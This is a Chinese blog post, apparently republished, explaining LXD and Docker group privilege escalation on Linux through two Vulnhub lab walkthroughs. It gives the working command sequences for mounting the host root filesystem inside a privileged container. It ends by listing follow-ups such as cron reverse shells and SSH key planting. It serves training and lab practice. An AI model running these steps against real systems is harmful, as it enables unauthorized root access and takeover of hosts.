当前位置:   article > 正文

关于Linux环境下的LXD及Docker提权

关于Linux环境下的LXD及Docker提权

 希望和各位大佬一起学习,如果文章内容有错请多多指正,谢谢!  

个人博客链接:CH4SER的个人BLOG – Welcome To Ch4ser's Blog

0x01 基本概念

        LXD、LXC 和 Docker 是三种不同的容器化技术,它们在实现和使用上有一些区别。
总结来说,LXD是基于LXC的系统级容器管理器,提供了更高级别的接口和管理工具;LXC是Linux内核提供的一种虚拟化技术,允许在单个Linux内核上运行多个隔离的用户空间实例;而Docker是基于LXC的容器化平台,提供了一套简化容器构建、分发和运行的工具和API。

        LXD(Linux容器守护程序)是一个系统级容器管理器,它基于LXC(Linux容器)技术。LXD提供了更高级别的接口和管理工具,使得轻松创建和管理系统容器成为可能。LXD主要面向系统级容器,可以运行完整的操作系统镜像,并提供类似于虚拟机的环境。它提供了更好的隔离性、资源控制和安全性。

        LXC(Linux容器)是Linux内核提供的一种虚拟化技术,它允许在单个Linux内核上运行多个隔离的用户空间实例。LXC提供了一组工具和API,用于创建和管理容器。LXC容器通常比LXD容器更加灵活和轻量级,可以定制底层操作系统的各个方面。LXC更适合于需要更细粒度控制的使用场景。

        Docker是一个开源的容器化平台,它建立在LXC之上,并提供了一套更高级别的工具和API,使得容器的构建、分发和运行变得更加简单。Docker提供了一个容器镜像的集装箱模型,使得容器可以在不同的环境中进行移植和部署。Docker强调容器的可移植性和易用性,适用于开发、测试和部署应用程序的场景。

0x02 LXD 提权

1、原理
LXD 是基于 LXC 容器的管理程序,当前用户可操作容器。所以用户可创建一个容器,再用容器挂载宿主机磁盘,最后使用容器权限操作宿主机磁盘内容达到提权效果。
2、LXD 提权条件

  • 已经获得 shell
  • 用户属于 lxd 组

3、案例 - Vulnhub - AI-Web

AI-Web 靶机下载地址:https://www.vulnhub.com/entry/ai-web-2,357/

前期 Web 打点拿到了 ssh 账号密码,如下:

  1. User: n0nr00tuser
  2. Pass: zxowieoi4sdsadpEClDws1sf

ssh 连接后发现当前用户 n0nr00tuser 属于 lxd 组,也就是说可以操作 LXD 容器

  1. ┌──(root㉿ch4ser)-[~]
  2. └─# ssh n0nr00tuser@192.168.196.144
  3. n0nr00tuser@aiweb2host:~$ whoami
  4. n0nr00tuser
  5. n0nr00tuser@aiweb2host:~$ id
  6. uid=1001(n0nr00tuser) gid=1001(n0nr00tuser) groups=1001(n0nr00tuser),108(lxd)
  7. n0nr00tuser@aiweb2host:~$ pwd
  8. /home/n0nr00tuser

Kali 开启 apache2 服务,将镜像 alpine-v3.13-x86_64-20210218_0139.tar.gz 放到网站根目录

  1. ┌──(root㉿ch4ser)-[~]
  2. └─# cd /var/www/html
  3. ┌──(root㉿ch4ser)-[/var/www/html]
  4. └─# ls
  5. alpine-v3.13-x86_64-20210218_0139.tar.gz
  6. ┌──(root㉿ch4ser)-[/var/www/html]
  7. └─# service apache2 start

 靶机 wget 下载,使用 lxc 创建容器并别名为 test

  1. n0nr00tuser@aiweb2host:~$ wget http://192.168.196.128/alpine-v3.13-x86_64-20210218_0139.tar.gz
  2. n0nr00tuser@aiweb2host:~$ lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz --alias test
  3. Image imported with fingerprint: cd73881adaac667ca3529972c7b380af240a9e3b09730f8c8e4e6a23e1a7892b

初始化容器 test 并设置选项 security.privileged=true,即允许容器以特权模式运行

  1. n0nr00tuser@aiweb2host:~$ lxc init test test -c security.privileged=true
  2. Creating test

将宿主机的根目录 "/" 挂载到容器中的 "/mnt/root" 目录,recursive=true 选项表示在添加设备时递归创建目标路径

  1. n0nr00tuser@aiweb2host:~$ lxc config device add test test disk source=/ path=/mnt/root recursive=true
  2. Device test added to test

启动容器 test 并打开一个 shell 会话,可以看到当前权限为容器的 root 权限(注意:不是宿主机的 root 权限)

  1. n0nr00tuser@aiweb2host:~$ lxc start test
  2. n0nr00tuser@aiweb2host:~$ lxc exec test /bin/sh
  3. ~ # whoami
  4. root
  5. ~ # id
  6. uid=0(root) gid=0(root)
  7. ~ # pwd
  8. /root

此时我们对容器具有最高权限,而宿主机的目录已全部递归挂载到 /mnt/root,所以只需要进入 /mnt/root/root 目录查看便可得到 flag

  1. ~ # cd /mnt/root/root
  2. /mnt/root/root # ls
  3. flag.txt
  4. /mnt/root/root # cat flag.txt
  5. ####################################################
  6. # #
  7. # AI: WEB 2.0 #
  8. # #
  9. # Congratulation!!! #
  10. # #
  11. # Hope you enjoyed this. #
  12. # #
  13. # flag{7fe64512ecd4dba377b50627f307d1678b14132f} #
  14. # #
  15. # Please tweet on @arif_xpress #
  16. # #
  17. ####################################################

 0x03 Docker 提权

1、原理
Docker 提权和 LXD 提权原理基本一致,都是通过挂载宿主机磁盘,最后使用容器权限操作宿主机磁盘内容达到提权效果。
2、LXD 提权条件

  • 已经获得 shell
  • 用户属于 docker 组

3、案例 - Vulnhub - Chill-Hack

Chill-Hack 靶机下载地址:https://www.vulnhub.com/entry/chill-hack-1,622/

前期 Web 打点拿到了 ssh 账号密码,如下: 

  1. User: anurodh
  2. Pass: !d0ntKn0wmYp@ssw0rd

ssh 连接后发现当前用户 anurodh 属于 docker 组,也就是说可以操作 Docker 容器

  1. ┌──(root㉿ch4ser)-[~]
  2. └─# ssh anurodh@192.168.196.145
  3. anurodh@ubuntu:~$ whoami
  4. anurodh
  5. anurodh@ubuntu:~$ id
  6. uid=1002(anurodh) gid=1002(anurodh) groups=1002(anurodh),999(docker)
  7. anurodh@ubuntu:~$ pwd
  8. /home/anurodh

拉取镜像,创建容器,将宿主机的根目录 "/" 挂载到容器中的 "/mnt" 目录,进入 /mnt/root 目录查看便可得到 flag`

  1. anurodh@ubuntu:~$ whoami
  2. anurodh
  3. anurodh@ubuntu:~$ id
  4. uid=1002(anurodh) gid=1002(anurodh) groups=1002(anurodh),999(docker)
  5. anurodh@ubuntu:~$ pwd
  6. /home/anurodh
  7. anurodh@ubuntu:~$ docker run -v /:/mnt -it alpine
  8. / # whoami
  9. root
  10. / # id
  11. uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
  12. / # pwd
  13. /
  14. / # cd /mnt/root
  15. /mnt/root # ls
  16. proof.txt
  17. /mnt/root # cat proof.txt
  18. {ROOT-FLAG: w18gfpn9xehsgd3tovhk0hby4gdp89bg}
  19. Congratulations! You have successfully completed the challenge.

0x04 补充

上述提权方案只是对宿主机目录有了操作权限,如果此时反弹 shell 得到的权限将是容器内的 root 权限,而非宿主机的 root 权限,显然不是我们想要的。

那么如何得到宿主机的 root 权限呢?有以下几种方法参考:

1、破解 /etc/shadow 中的 hash,得到 root 账户密码,可使用 hashcat 等工具

2、添加 ssh 密钥绑定 root,之后使用 ssh 密钥登录 root

3、将反弹 shell 命令写到宿主机的计划任务,此时反弹的是宿主机root权限(推荐)

4、利用 CVE 漏洞直接利用反弹

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/小丑西瓜9/article/detail/302418
推荐阅读
相关标签
  

闽ICP备14008679号